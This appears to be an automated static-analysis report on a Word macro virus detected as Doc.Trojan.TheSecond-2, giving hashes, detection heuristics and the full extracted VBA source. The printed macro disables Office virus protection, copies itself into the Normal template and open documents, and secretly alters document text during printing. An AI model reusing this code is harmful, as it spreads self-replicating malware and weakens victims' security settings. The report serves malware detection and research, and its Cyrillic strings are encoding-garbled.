Doc.Trojan.TheSecond-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 64478c7380779da0…

MALICIOUS

Office (OLE)

29.5 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e15e4edc9da6617587ee900558e2f628 SHA-1: c19edadf3bb91a1d4272480a19f88f8b6f107379 SHA-256: 64478c7380779da00d777597e71a04eee3bb71772d2c98a12c6a09dbf942c503
188 Risk Score

Malware Insights

Doc.Trojan.TheSecond-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and a VBA Auto_Close macro named 'TheSecond'. This macro attempts to copy itself to the Normal template and the active document, a common technique for establishing persistence and spreading malware. The ClamAV detection name 'Doc.Trojan.TheSecond-2' further supports this identification.

Heuristics 5

  • ClamAV: Doc.Trojan.TheSecond-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2903 bytes
SHA-256: 5d2e80d34728ed56dcbadd38874023643aac9ef7116834c0396c9e1b112bd548
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Options.VirusProtection = False
  CommandBars("Visual Basic").Enabled = False
  flag = False
  x = Application.StartupPath + "TheSecond.tmp"
  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "TheSecond" Then flag = True
  Next i
  If Not flag Then
    NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
    ActiveDocument.VBProject.VBComponents.Import (x)
  End If
  flag = False
  For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "TheSecond" Then flag = True
  Next i
  If Not flag Then
    ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
    NormalTemplate.VBProject.VBComponents.Import (x)
  End If
End Sub
Sub FilePrint()
  flag = True
  With Application.FileSearch
    .NewSearch
    .LookIn = Application.StartupPath
    .SearchSubFolders = False
    .FileName = "NoViruses.Yes"
    .MatchTextExactly = False
    .FileType = msoFileTypeAllFiles
    If .Execute() > 0 Then flag = False
  End With
  If ActiveDocument.Path <> "" Then
    With Application.FileSearch
      .NewSearch
      .LookIn = ActiveDocument.Path
      .SearchSubFolders = False
      .FileName = "NoViruses.Yes"
      .MatchTextExactly = False
      .FileType = msoFileTypeAllFiles
      If .Execute() > 0 Then flag = False
      
    End With
  End If
  If flag Then
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = ", 黩� "
    .Replacement.Text = ", 犭�, 黩� "
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
    .MatchSoundsLike = False
    .MatchAllWordForms = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  End If
  Dialogs(wdDialogFilePrint).Show
  If flag Then
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = ", 犭�, 黩� "
    .Replacement.Text = ", 黩� "
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
    .MatchSoundsLike = False
    .MatchAllWordForms = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  End If
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("湾� 玎沭箧屙睇� 爨牮铖钼!")
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.